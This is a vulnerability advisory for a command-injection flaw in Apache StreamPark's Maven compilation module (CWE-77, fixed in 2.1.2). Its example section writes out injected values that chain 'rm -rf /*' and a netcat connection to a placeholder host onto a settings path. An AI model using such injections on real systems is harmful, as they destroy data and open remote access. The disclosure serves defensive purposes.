title: Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
description: In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all users should upgrade to 2.1.2
Example:
##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":
/usr/share/java/maven-3/conf/settings.xml || rm -rf /*
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
problem types: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
affected:
{
defaultStatus: unaffected
product: Apache StreamPark (incubating)
vendor: Apache Software Foundation
versions:
lessThan: 2.1.2, status: affected, version: 2.0.0, versionType: custom
}
metrics:
other: [
content: {'text': 'low'}
type: Textual description of severity
]